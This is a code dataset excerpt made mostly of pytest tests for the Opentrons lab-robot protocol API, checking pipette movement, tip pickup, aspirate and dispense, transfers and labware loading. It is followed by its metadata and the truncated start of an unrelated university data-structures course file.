papi.ProtocolContext(loop)\n ctx.connect(hardware)\n ctx.home()\n mock_move = mock.Mock()\n monkeypatch.setattr(ctx._hw_manager.hardware, 'move_to', mock_move)\n instr = ctx.load_instrument('p10_single', Mount.RIGHT)\n instr.move_to(Location(Point(0, 0, 0), None))\n assert all(\n kwargs['max_speeds'] == {}\n for args, kwargs in mock_move.call_args_list)\n\n mock_move.reset_mock()\n ctx.max_speeds['x'] = 10\n instr.move_to(Location(Point(0, 0, 1), None))\n assert all(\n kwargs['max_speeds'] == {Axis.X: 10}\n for args, kwargs in mock_move.call_args_list)\n\n mock_move.reset_mock()\n ctx.max_speeds['x'] = None\n instr.move_to(Location(Point(1, 0, 1), None))\n assert all(\n kwargs['max_speeds'] == {}\n for args, kwargs in mock_move.call_args_list)\n\n\nasync def test_location_cache(loop, monkeypatch, get_labware_def, hardware):\n ctx = papi.ProtocolContext(loop)\n ctx.connect(hardware)\n # To avoid modifying the hardware fixture, we should change the\n # gantry calibration inside this test.\n ctx._hw_manager.hardware.update_config(\n gantry_calibration=[\n [1.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0],\n [0.0, 0.0, 1.0, 0.0], [0.0, 0.0, 0.0, 1.0]])\n right = ctx.load_instrument('p10_single', Mount.RIGHT)\n lw = ctx.load_labware('corning_96_wellplate_360ul_flat', 1)\n ctx.home()\n\n test_args = None\n\n def fake_plan_move(from_loc, to_loc, deck,\n well_z_margin=None,\n lw_z_margin=None,\n force_direct=False,\n minimum_z_height=None):\n nonlocal test_args\n test_args = (from_loc, to_loc, deck, well_z_margin, lw_z_margin)\n return [(Point(0, 1, 10), None),\n (Point(1, 2, 10), None),\n (Point(1, 2, 3), None)]\n\n monkeypatch.setattr(papi.geometry, 'plan_moves', fake_plan_move)\n # When we move without a cache, the from location should be the gantry\n # position\n right.move_to(lw.wells()[0].top())\n # The home position from hardware_control/simulator.py, taking into account\n # that the right pipette is a p10 single which is a different height than\n # the reference p300 single\n assert test_args[0].point == Point(418, 353, 205)\n assert test_args[0].labware is None\n\n # Once we have a location cache, that should be our from_loc\n right.move_to(lw.wells()[1].top())\n assert test_args[0].labware == lw.wells()[0]\n\n\nasync def test_move_uses_arc(loop, monkeypatch, get_labware_def, hardware):\n ctx = papi.ProtocolContext(loop)\n ctx.connect(hardware)\n ctx.home()\n right = ctx.load_instrument('p10_single', Mount.RIGHT)\n lw = ctx.load_labware('corning_96_wellplate_360ul_flat', 1)\n ctx.home()\n\n targets = []\n\n async def fake_move(self, mount, target_pos, **kwargs):\n nonlocal targets\n targets.append((mount, target_pos, kwargs))\n monkeypatch.setattr(API, 'move_to', fake_move)\n\n right.move_to(lw.wells()[0].top())\n assert len(targets) == 3\n assert targets[-1][0] == Mount.RIGHT\n assert targets[-1][1] == lw.wells()[0].top().point\n\n\ndef test_pipette_info(loop):\n ctx = papi.ProtocolContext(loop)\n right = ctx.load_instrument('p300_multi', Mount.RIGHT)\n left = ctx.load_instrument('p1000_single', Mount.LEFT)\n assert right.type == 'multi'\n name = ctx._hw_manager.hardware.attached_instruments[Mount.RIGHT]['name']\n model = ctx._hw_manager.hardware.attached_instruments[Mount.RIGHT]['model']\n assert right.name == name\n assert right.model == model\n assert left.type == 'single'\n name = ctx._hw_manager.hardware.attached_instruments[Mount.LEFT]['name']\n model = ctx._hw_manager.hardware.attached_instruments[Mount.LEFT]['model']\n assert left.name == name\n assert left.model == model\n\n\ndef test_pick_up_and_drop_tip(loop, get_labware_def):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 1)\n tip_length = tiprack.tip_length\n mount = Mount.LEFT\n\n instr = ctx.load_instrument('p300_single', mount, tip_racks=[tiprack])\n\n pipette: Pipette = ctx._hw_manager.hardware._attached_instruments[mount]\n model_offset = Point(*pipette.config.model_offset)\n assert pipette.critical_point() == model_offset\n target_location = tiprack['A1'].top()\n\n instr.pick_up_tip(target_location)\n assert not tiprack.wells()[0].has_tip\n overlap = instr.hw_pipette['tip_overlap'][tiprack.uri]\n new_offset = model_offset - Point(0, 0,\n tip_length-overlap)\n assert pipette.critical_point() == new_offset\n assert pipette.has_tip\n\n instr.drop_tip(target_location)\n assert not pipette.has_tip\n assert pipette.critical_point() == model_offset\n\n\ndef test_return_tip_old_version(loop, get_labware_def):\n # API version 2.2, a returned tip would be picked up by the\n # next pick up tip call\n ctx = papi.ProtocolContext(loop, api_version=APIVersion(2, 1))\n ctx.home()\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 1)\n mount = Mount.LEFT\n\n instr = ctx.load_instrument('p300_single', mount, tip_racks=[tiprack])\n\n with pytest.raises(TypeError):\n instr.return_tip()\n\n pipette: Pipette\\\n = ctx._hw_manager.hardware._attached_instruments[mount]\n\n target_location = tiprack['A1'].top()\n instr.pick_up_tip(target_location)\n assert not tiprack.wells()[0].has_tip\n assert pipette.has_tip\n\n instr.return_tip()\n assert not pipette.has_tip\n assert tiprack.wells()[0].has_tip\n\n instr.pick_up_tip()\n assert pipette.has_tip\n assert not tiprack.wells()[0].has_tip\n\n\ndef test_return_tip(loop, get_labware_def):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 1)\n mount = Mount.LEFT\n\n instr = ctx.load_instrument('p300_single', mount, tip_racks=[tiprack])\n\n with pytest.raises(TypeError):\n instr.return_tip()\n\n pipette: Pipette\\\n = ctx._hw_manager.hardware._attached_instruments[mount]\n\n target_location = tiprack['A1'].top()\n instr.pick_up_tip(target_location)\n assert not tiprack.wells()[0].has_tip\n assert pipette.has_tip\n\n instr.return_tip()\n assert not pipette.has_tip\n assert not tiprack.wells()[0].has_tip\n\n instr.pick_up_tip()\n assert pipette.has_tip\n assert not tiprack.wells()[1].has_tip\n\n\ndef test_use_filter_tips(loop, get_labware_def):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n\n tiprack = ctx.load_labware_by_name('opentrons_96_filtertiprack_200ul', 2)\n\n mount = Mount.LEFT\n\n instr = ctx.load_instrument('p300_single', mount, tip_racks=[tiprack])\n pipette: Pipette = ctx._hw_manager.hardware._attached_instruments[mount]\n\n assert pipette.available_volume == pipette.config.max_volume\n\n instr.pick_up_tip()\n assert pipette.available_volume < pipette.config.max_volume\n\n\n@pytest.mark.parametrize('pipette_model',\n ['p10_single', 'p20_single_gen2'])\n@pytest.mark.parametrize(\n 'tiprack_kind',\n ['opentrons_96_tiprack_10ul', 'eppendorf_96_tiprack_10ul_eptips'])\ndef test_pick_up_tip_no_location(loop, get_labware_def,\n pipette_model, tiprack_kind):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n\n tiprack1 = ctx.load_labware(tiprack_kind, 1)\n tip_length1 = tiprack1.tip_length\n\n tiprack2 = ctx.load_labware(tiprack_kind, 2)\n tip_length2 = tip_length1 + 1.0\n tiprack2.tip_length = tip_length2\n\n mount = Mount.LEFT\n\n instr = ctx.load_instrument(\n pipette_model, mount, tip_racks=[tiprack1, tiprack2])\n\n pipette: Pipette = ctx._hw_manager.hardware._attached_instruments[mount]\n model_offset = Point(*pipette.config.model_offset)\n assert pipette.critical_point() == model_offset\n\n instr.pick_up_tip()\n\n assert 'picking up tip' in ','.join([cmd.lower()\n for cmd in ctx.commands()])\n assert not tiprack1.wells()[0].has_tip\n overlap = instr.hw_pipette['tip_overlap'][tiprack1.uri]\n new_offset = model_offset - Point(0, 0,\n tip_length1-overlap)\n assert pipette.critical_point() == new_offset\n\n # TODO: remove argument and verify once trash container is added\n instr.drop_tip(tiprack1.wells()[0].top())\n assert not pipette.has_tip\n assert pipette.critical_point() == model_offset\n\n for well in tiprack1.wells():\n if well.has_tip:\n tiprack1.use_tips(well)\n\n assert tiprack1.next_tip() is None\n\n assert tiprack2.wells()[0].has_tip\n instr.pick_up_tip()\n assert not tiprack2.wells()[0].has_tip\n\n\ndef test_instrument_trash(loop, get_labware_def):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n\n mount = Mount.LEFT\n instr = ctx.load_instrument('p300_single', mount)\n\n assert instr.trash_container.name == 'opentrons_1_trash_1100ml_fixed'\n\n new_trash = ctx.load_labware('usascientific_12_reservoir_22ml', 2)\n instr.trash_container = new_trash\n\n assert instr.trash_container.name == 'usascientific_12_reservoir_22ml'\n\n\ndef test_aspirate(loop, get_labware_def, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n lw = ctx.load_labware('corning_96_wellplate_360ul_flat', 1)\n instr = ctx.load_instrument('p10_single', Mount.RIGHT)\n\n fake_hw_aspirate = mock.Mock()\n fake_move = mock.Mock()\n monkeypatch.setattr(API, 'aspirate', fake_hw_aspirate)\n monkeypatch.setattr(API, 'move_to', fake_move)\n\n instr.aspirate(2.0, lw.wells()[0].bottom())\n assert 'aspirating' in ','.join([cmd.lower() for cmd in ctx.commands()])\n\n fake_hw_aspirate.assert_called_once_with(Mount.RIGHT, 2.0, 1.0)\n assert fake_move.call_args_list[-1] ==\\\n mock.call(Mount.RIGHT, lw.wells()[0].bottom().point,\n critical_point=None, speed=400, max_speeds={})\n fake_move.reset_mock()\n fake_hw_aspirate.reset_mock()\n instr.well_bottom_clearance.aspirate = 1.0\n instr.aspirate(2.0, lw.wells()[0])\n dest_point, dest_lw = lw.wells()[0].bottom()\n dest_point = dest_point._replace(z=dest_point.z + 1.0)\n assert len(fake_move.call_args_list) == 1\n assert fake_move.call_args_list[0] ==\\\n mock.call(\n Mount.RIGHT, dest_point, critical_point=None, speed=400,\n max_speeds={})\n fake_move.reset_mock()\n ctx._hw_manager.hardware._obj_to_adapt\\\n ._attached_instruments[Mount.RIGHT]\\\n ._current_volume = 1\n\n instr.aspirate(2.0)\n fake_move.assert_not_called()\n\n instr.blow_out()\n fake_move.reset_mock()\n instr.aspirate(2.0)\n assert len(fake_move.call_args_list) == 2\n # reset plunger at the top of the well after blowout\n assert fake_move.call_args_list[0] ==\\\n mock.call(\n Mount.RIGHT, dest_lw.top().point, critical_point=None,\n speed=400, max_speeds={})\n assert fake_move.call_args_list[1] ==\\\n mock.call(\n Mount.RIGHT, dest_point, critical_point=None,\n speed=400, max_speeds={})\n\n\ndef test_dispense(loop, get_labware_def, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n lw = ctx.load_labware('corning_96_wellplate_360ul_flat', 1)\n instr = ctx.load_instrument('p10_single', Mount.RIGHT)\n\n disp_called_with = None\n\n async def fake_hw_dispense(self, mount, volume=None, rate=1.0):\n nonlocal disp_called_with\n disp_called_with = (mount, volume, rate)\n\n move_called_with = None\n\n def fake_move(self, mount, loc, **kwargs):\n nonlocal move_called_with\n move_called_with = (mount, loc, kwargs)\n\n monkeypatch.setattr(API, 'dispense', fake_hw_dispense)\n monkeypatch.setattr(API, 'move_to', fake_move)\n\n instr.dispense(2.0, lw.wells()[0].bottom())\n assert 'dispensing' in ','.join([cmd.lower() for cmd in ctx.commands()])\n assert disp_called_with == (Mount.RIGHT, 2.0, 1.0)\n assert move_called_with == (Mount.RIGHT, lw.wells()[0].bottom().point,\n {'critical_point': None,\n 'speed': 400,\n 'max_speeds': {}})\n\n instr.well_bottom_clearance.dispense = 2.0\n instr.dispense(2.0, lw.wells()[0])\n dest_point, dest_lw = lw.wells()[0].bottom()\n dest_point = dest_point._replace(z=dest_point.z + 2.0)\n assert move_called_with == (Mount.RIGHT, dest_point,\n {'critical_point': None,\n 'speed': 400,\n 'max_speeds': {}})\n\n move_called_with = None\n instr.dispense(2.0)\n assert move_called_with is None\n\n\ndef test_prevent_liquid_handling_without_tip(loop):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n\n tr = ctx.load_labware('opentrons_96_tiprack_300ul', '1')\n plate = ctx.load_labware('corning_384_wellplate_112ul_flat', '2')\n pipR = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tr])\n\n with pytest.raises(NoTipAttachedError):\n pipR.aspirate(100, plate.wells()[0])\n\n pipR.pick_up_tip()\n\n pipR.aspirate(100, plate.wells()[0])\n pipR.drop_tip()\n\n with pytest.raises(NoTipAttachedError):\n pipR.dispense(100, plate.wells()[1])\n\n\ndef test_starting_tip_and_reset_tipracks(loop, get_labware_def, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n\n tr = ctx.load_labware('opentrons_96_tiprack_300ul', 1)\n tr_2 = ctx.load_labware('opentrons_96_tiprack_300ul', 2)\n pipL = ctx.load_instrument('p300_single', Mount.LEFT,\n tip_racks=[tr, tr_2])\n pipR = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tr, tr_2])\n\n pipL.starting_tip = tr.wells()[2]\n pipL.pick_up_tip()\n assert pipL._last_tip_picked_up_from is tr.wells()[2]\n pipL.drop_tip()\n\n pipR.starting_tip = tr.wells()[2]\n pipR.pick_up_tip()\n assert pipR._last_tip_picked_up_from is tr.wells()[3]\n pipR.drop_tip()\n\n tr.wells()[95].has_tip = False\n pipL.starting_tip = tr.wells()[95]\n pipL.pick_up_tip()\n assert pipL._last_tip_picked_up_from is tr_2.wells()[0]\n\n pipL.reset_tipracks()\n assert tr.wells()[2].has_tip\n assert tr.wells()[3].has_tip\n\n\ndef test_mix(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n lw = ctx.load_labware(\n 'opentrons_24_tuberack_eppendorf_1.5ml_safelock_snapcap', 1)\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tiprack])\n\n instr.pick_up_tip()\n mix_steps = []\n aspirate_called_with = None\n dispense_called_with = None\n\n def fake_aspirate(vol=None, loc=None, rate=None):\n nonlocal aspirate_called_with\n nonlocal mix_steps\n aspirate_called_with = ('aspirate', vol, loc, rate)\n mix_steps.append(aspirate_called_with)\n\n def fake_dispense(vol=None, loc=None, rate=None):\n nonlocal dispense_called_with\n nonlocal mix_steps\n dispense_called_with = ('dispense', vol, loc, rate)\n mix_steps.append(dispense_called_with)\n\n monkeypatch.setattr(instr, 'aspirate', fake_aspirate)\n monkeypatch.setattr(instr, 'dispense', fake_dispense)\n\n repetitions = 2\n volume = 5\n location = lw.wells()[0]\n rate = 2\n instr.mix(repetitions, volume, location, rate)\n expected_mix_steps = [('aspirate', volume, location, 2),\n ('dispense', volume, None, 2),\n ('aspirate', volume, None, 2),\n ('dispense', volume, None, 2)]\n\n assert mix_steps == expected_mix_steps\n\n\ndef test_touch_tip_default_args(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop, api_version=APIVersion(2, 3))\n ctx.home()\n lw = ctx.load_labware(\n 'opentrons_24_tuberack_eppendorf_1.5ml_safelock_snapcap', 1)\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tiprack])\n\n instr.pick_up_tip()\n total_hw_moves = []\n\n async def fake_hw_move(self, mount, abs_position, speed=None,\n critical_point=None, max_speeds=None):\n nonlocal total_hw_moves\n total_hw_moves.append((abs_position, speed))\n\n instr.aspirate(10, lw.wells()[0])\n monkeypatch.setattr(API, 'move_to', fake_hw_move)\n instr.touch_tip()\n z_offset = Point(0, 0, 1) # default z offset of 1mm\n speed = 60 # default speed\n edges = [lw.wells()[0]._from_center_cartesian(1, 0, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(-1, 0, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(0, 1, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(0, -1, 1) - z_offset]\n for i in range(1, 5):\n assert total_hw_moves[i] == (edges[i - 1], speed)\n # Check that the old api version initial well move has the same z height\n # as the calculated edges.\n total_hw_moves.clear()\n instr.touch_tip(v_offset=1)\n assert total_hw_moves[0][0].z != total_hw_moves[1][0].z\n\n\ndef test_touch_tip_new_default_args(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n lw = ctx.load_labware(\n 'opentrons_24_tuberack_eppendorf_1.5ml_safelock_snapcap', 1)\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tiprack])\n\n instr.pick_up_tip()\n total_hw_moves = []\n\n async def fake_hw_move(self, mount, abs_position, speed=None,\n critical_point=None, max_speeds=None):\n nonlocal total_hw_moves\n total_hw_moves.append((abs_position, speed))\n\n instr.aspirate(10, lw.wells()[0])\n monkeypatch.setattr(API, 'move_to', fake_hw_move)\n instr.touch_tip()\n z_offset = Point(0, 0, 1) # default z offset of 1mm\n speed = 60 # default speed\n edges = [lw.wells()[0]._from_center_cartesian(1, 0, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(-1, 0, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(0, 0, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(0, 1, 1) - z_offset,\n lw.wells()[0]._from_center_cartesian(0, -1, 1) - z_offset]\n for i in range(1, 5):\n assert total_hw_moves[i] == (edges[i - 1], speed)\n\n # Check that the new api version initial well move has the same z height\n # as the calculated edges.\n total_hw_moves.clear()\n instr.touch_tip(v_offset=1)\n assert total_hw_moves[0][0].z == total_hw_moves[1][0].z\n\n\ndef test_touch_tip_disabled(loop, monkeypatch, get_labware_fixture):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n trough1 = get_labware_fixture('fixture_12_trough')\n trough_lw = ctx.load_labware_from_definition(trough1, '1')\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tiprack])\n instr.pick_up_tip()\n move_mock = mock.Mock()\n monkeypatch.setattr(API, 'move_to', move_mock)\n instr.touch_tip(trough_lw['A1'])\n move_mock.assert_not_called()\n\n\ndef test_blow_out(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n ctx.home()\n lw = ctx.load_labware(\n 'opentrons_24_tuberack_eppendorf_1.5ml_safelock_snapcap', 1)\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tiprack])\n\n move_location = None\n instr.pick_up_tip()\n instr.aspirate(10, lw.wells()[0])\n\n def fake_move(loc):\n nonlocal move_location\n move_location = loc\n\n monkeypatch.setattr(instr, 'move_to', fake_move)\n\n instr.blow_out()\n # pipette should not move, if no location is passed\n assert move_location is None\n\n instr.aspirate(10)\n instr.blow_out(lw.wells()[0])\n # pipette should blow out at the top of the well as default\n assert move_location == lw.wells()[0].top()\n\n instr.aspirate(10)\n instr.blow_out(lw.wells()[0].bottom())\n # pipette should blow out at the location defined\n assert move_location == lw.wells()[0].bottom()\n\n\ndef test_transfer_options(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n lw1 = ctx.load_labware('biorad_96_wellplate_200ul_pcr', 1)\n lw2 = ctx.load_labware('corning_96_wellplate_360ul_flat', 2)\n tiprack = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT,\n tip_racks=[tiprack])\n\n ctx.home()\n transfer_options = None\n\n def fake_execute_transfer(xfer_plan):\n nonlocal transfer_options\n transfer_options = xfer_plan._options\n\n monkeypatch.setattr(instr, '_execute_transfer', fake_execute_transfer)\n instr.transfer(10, lw1.columns()[0], lw2.columns()[0],\n new_tip='always', mix_before=(2, 10),\n mix_after=(3, 20), blow_out=True)\n expected_xfer_options1 = tf.TransferOptions(\n transfer=tf.Transfer(\n new_tip=TransferTipPolicy.ALWAYS,\n air_gap=0,\n carryover=True,\n gradient_function=None,\n disposal_volume=0,\n mix_strategy=tf.MixStrategy.BOTH,\n drop_tip_strategy=tf.DropTipStrategy.TRASH,\n blow_out_strategy=tf.BlowOutStrategy.TRASH,\n touch_tip_strategy=tf.TouchTipStrategy.NEVER,\n ),\n pick_up_tip=tf.PickUpTipOpts(),\n mix=tf.Mix(\n mix_before=tf.MixOpts(repetitions=2,\n volume=10,\n rate=None),\n mix_after=tf.MixOpts(repetitions=3,\n volume=20,\n rate=None)\n ),\n blow_out=tf.BlowOutOpts(),\n touch_tip=tf.TouchTipOpts(),\n aspirate=tf.AspirateOpts(),\n dispense=tf.DispenseOpts()\n )\n assert transfer_options == expected_xfer_options1\n\n instr.pick_up_tip()\n instr.distribute(50, lw1.rows()[0][0], lw2.columns()[0],\n new_tip='never', touch_tip=True, trash=False,\n disposal_volume=10,\n mix_before=(2, 30),\n mix_after=(3, 20))\n instr.drop_tip()\n expected_xfer_options2 = tf.TransferOptions(\n transfer=tf.Transfer(\n new_tip=TransferTipPolicy.NEVER,\n air_gap=0,\n carryover=True,\n gradient_function=None,\n disposal_volume=10,\n mix_strategy=tf.MixStrategy.BEFORE,\n drop_tip_strategy=tf.DropTipStrategy.RETURN,\n blow_out_strategy=tf.BlowOutStrategy.NONE,\n touch_tip_strategy=tf.TouchTipStrategy.ALWAYS\n ),\n pick_up_tip=tf.PickUpTipOpts(),\n mix=tf.Mix(mix_before=tf.MixOpts(repetitions=2,\n volume=30,\n rate=None),\n mix_after=tf.MixOpts()),\n blow_out=tf.BlowOutOpts(),\n touch_tip=tf.TouchTipOpts(),\n aspirate=tf.AspirateOpts(),\n dispense=tf.DispenseOpts()\n )\n assert transfer_options == expected_xfer_options2\n with pytest.raises(ValueError, match='air_gap.*'):\n instr.transfer(300, lw1['A1'], lw2['A1'], air_gap=300)\n with pytest.raises(ValueError, match='air_gap.*'):\n instr.transfer(300, lw1['A1'], lw2['A1'], air_gap=10000)\n\n\ndef test_flow_rate(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n old_sfm = ctx._hw_manager.hardware\n\n def pass_on(mount, aspirate=None, dispense=None, blow_out=None):\n old_sfm(mount, aspirate=None, dispense=None, blow_out=None)\n\n set_flow_rate = mock.Mock(side_effect=pass_on)\n monkeypatch.setattr(ctx._hw_manager.hardware, 'set_flow_rate',\n set_flow_rate)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT)\n\n ctx.home()\n instr.flow_rate.aspirate = 1\n assert set_flow_rate.called_once_with(Mount.RIGHT, aspirate=1)\n set_flow_rate.reset_mock()\n instr.flow_rate.dispense = 10\n assert set_flow_rate.called_once_with(Mount.RIGHT, dispense=10)\n set_flow_rate.reset_mock()\n instr.flow_rate.blow_out = 2\n assert set_flow_rate.called_once_with(Mount.RIGHT, blow_out=2)\n assert instr.flow_rate.aspirate == 1\n assert instr.flow_rate.dispense == 10\n assert instr.flow_rate.blow_out == 2\n\n\ndef test_pipette_speed(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n old_sfm = ctx._hw_manager.hardware\n\n def pass_on(mount, aspirate=None, dispense=None, blow_out=None):\n old_sfm(aspirate=None, dispense=None, blow_out=None)\n\n set_speed = mock.Mock(side_effect=pass_on)\n monkeypatch.setattr(ctx._hw_manager.hardware, 'set_pipette_speed',\n set_speed)\n instr = ctx.load_instrument('p300_single', Mount.RIGHT)\n\n ctx.home()\n instr.speed.aspirate = 1\n assert set_speed.called_once_with(Mount.RIGHT, dispense=1)\n instr.speed.dispense = 10\n instr.speed.blow_out = 2\n assert set_speed.called_with(Mount.RIGHT, dispense=10)\n assert set_speed.called_with(Mount.RIGHT, blow_out=2)\n assert instr.speed.aspirate == 1\n assert instr.speed.dispense == 10\n assert instr.speed.blow_out == 2\n\n\ndef test_loaded_labwares(loop):\n ctx = papi.ProtocolContext(loop)\n assert ctx.loaded_labwares == {12: ctx.fixed_trash}\n lw1 = ctx.load_labware('opentrons_96_tiprack_300ul', 3)\n lw2 = ctx.load_labware('opentrons_96_tiprack_300ul', 8)\n ctx.load_module('tempdeck', 4)\n mod2 = ctx.load_module('magdeck', 5)\n mod_lw = mod2.load_labware('biorad_96_wellplate_200ul_pcr')\n assert ctx.loaded_labwares[3] == lw1\n assert ctx.loaded_labwares[8] == lw2\n assert ctx.loaded_labwares[5] == mod_lw\n assert sorted(ctx.loaded_labwares.keys())\\\n == sorted([3, 5, 8, 12])\n\n\ndef test_loaded_modules(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n assert ctx.loaded_modules == {}\n mod1 = ctx.load_module('tempdeck', 4)\n mod1.load_labware('biorad_96_wellplate_200ul_pcr')\n mod2 = ctx.load_module('thermocycler')\n assert ctx.loaded_modules[4] == mod1\n assert ctx.loaded_modules[7] == mod2\n\n\ndef test_tip_length_for(loop, monkeypatch):\n ctx = papi.ProtocolContext(loop)\n instr = ctx.load_instrument('p20_single_gen2', 'left')\n tiprack = ctx.load_labware('geb_96_tiprack_10ul', '1')\n assert instr._tip_length_for(tiprack)\\\n == (tiprack._definition['parameters']['tipLength']\n - instr.hw_pipette['tip_overlap']\n ['opentrons/geb_96_tiprack_10ul/1'])\n\n\ndef test_bundled_labware(loop, get_labware_fixture):\n fake_fixed_trash = get_labware_fixture('fixture_trash')\n fake_fixed_trash['namespace'] = 'opentrons'\n fake_fixed_trash['parameters']['loadName'] = \\\n 'opentrons_1_trash_1100ml_fixed'\n fake_fixed_trash['version'] = 1\n fixture_96_plate = get_labware_fixture('fixture_96_plate')\n bundled_labware = {\n 'opentrons/opentrons_1_trash_1100ml_fixed/1': fake_fixed_trash,\n 'fixture/fixture_96_plate/1': fixture_96_plate\n }\n\n ctx = papi.ProtocolContext(loop, bundled_labware=bundled_labware)\n lw1 = ctx.load_labware('fixture_96_plate', 3, namespace='fixture')\n assert ctx.loaded_labwares[12] == ctx.fixed_trash\n assert ctx.loaded_labwares[12]._definition == fake_fixed_trash\n assert ctx.loaded_labwares[3] == lw1\n assert ctx.loaded_labwares[3]._definition == fixture_96_plate\n\n\ndef test_bundled_labware_missing(loop, get_labware_fixture):\n bundled_labware = {}\n with pytest.raises(\n RuntimeError,\n match='No labware found in bundle with load name opentrons_1_trash_'\n ):\n papi.ProtocolContext(loop, bundled_labware=bundled_labware)\n\n fake_fixed_trash = get_labware_fixture('fixture_trash')\n fake_fixed_trash['namespace'] = 'opentrons'\n fake_fixed_trash['parameters']['loadName'] = \\\n 'opentrons_1_trash_1100ml_fixed'\n fake_fixed_trash['version'] = 1\n bundled_labware = {\n 'opentrons/opentrons_1_trash_1100ml_fixed/1': fake_fixed_trash,\n }\n with pytest.raises(\n RuntimeError,\n match='No labware found in bundle with load name opentrons_1_trash_'\n ):\n papi.ProtocolContext(loop, bundled_labware={},\n extra_labware=bundled_labware)\n\n\ndef test_bundled_data(loop):\n bundled_data = {'foo': b'1,2,3'}\n ctx = papi.ProtocolContext(loop, bundled_data=bundled_data)\n assert ctx.bundled_data == bundled_data\n\n\ndef test_extra_labware(loop, get_labware_fixture):\n fixture_96_plate = get_labware_fixture('fixture_96_plate')\n bundled_labware = {\n 'fixture/fixture_96_plate/1': fixture_96_plate\n }\n ctx = papi.ProtocolContext(loop, extra_labware=bundled_labware)\n ls1 = ctx.load_labware('fixture_96_plate', 3, namespace='fixture')\n assert ctx.loaded_labwares[3] == ls1\n assert ctx.loaded_labwares[3]._definition == fixture_96_plate\n\n\ndef test_api_version_checking():\n minor_over = (papi.MAX_SUPPORTED_VERSION.major,\n papi.MAX_SUPPORTED_VERSION.minor + 1)\n with pytest.raises(RuntimeError):\n papi.ProtocolContext(api_version=minor_over)\n\n major_over = (papi.MAX_SUPPORTED_VERSION.major + 1,\n papi.MAX_SUPPORTED_VERSION.minor)\n with pytest.raises(RuntimeError):\n papi.ProtocolContext(api_version=major_over)\n\n\ndef test_api_per_call_checking(monkeypatch):\n ctx = papi.ProtocolContext(api_version=APIVersion(1, 9))\n assert ctx.deck # 1.9 < 2.0, but api version 1 is excepted from checking\n monkeypatch.setattr(\n papi.protocol_context, 'MAX_SUPPORTED_VERSION',\n APIVersion(2, 1))\n ctx = papi.ProtocolContext(api_version=APIVersion(2, 1))\n # versions > 2.0 are ok\n assert ctx.deck\n # pretend disconnect() was only added in 2.1\n set_version_added(\n papi.ProtocolContext.disconnect, monkeypatch, APIVersion(2, 1))\n ctx = papi.ProtocolContext(api_version=APIVersion(2, 0))\n with pytest.raises(papi.util.APIVersionError):\n ctx.disconnect()\n","sub_path":"api/tests/opentrons/protocol_api/test_context.py","file_name":"test_context.py","file_ext":"py","file_size_in_byte":33119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"260324774","text":"\"\"\"\n * Copyright 2020, Departamento de sistemas y Computación\n * Universidad de Los Andes\n *\n *\n * Desarrolado para el curso ISIS1225 - Estructuras de Datos y Algoritmos\n *\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n * Contribución de:\n *\n * Dario Correal\n *\n \"\"\"\nimport config\nfrom DISClib.ADT.graph import gr\nfrom DISClib.ADT import map as m\nfrom DISClib.ADT import list as lt\nfrom DISClib.Algorithms.Graphs import scc\nfrom DISClib.Algorithms.Graphs import dijsktra as djk\nfrom DISClib.Utils import error as error\nassert config\n\n\"\"\"\nEn este archivo definimos los TADs que vamos a usar y las operaciones\nde creacion y consulta sobre las estructuras de datos.\n\"\"\"\n\n# -----------------------------------------------------\n# API\n# -----------------------------------------------------\n\n\ndef newAnalyzer():\n \"\"\" Inicializa el analizador\n\n stops: Tabla de hash para guardar los vertices del grafo\n connections: 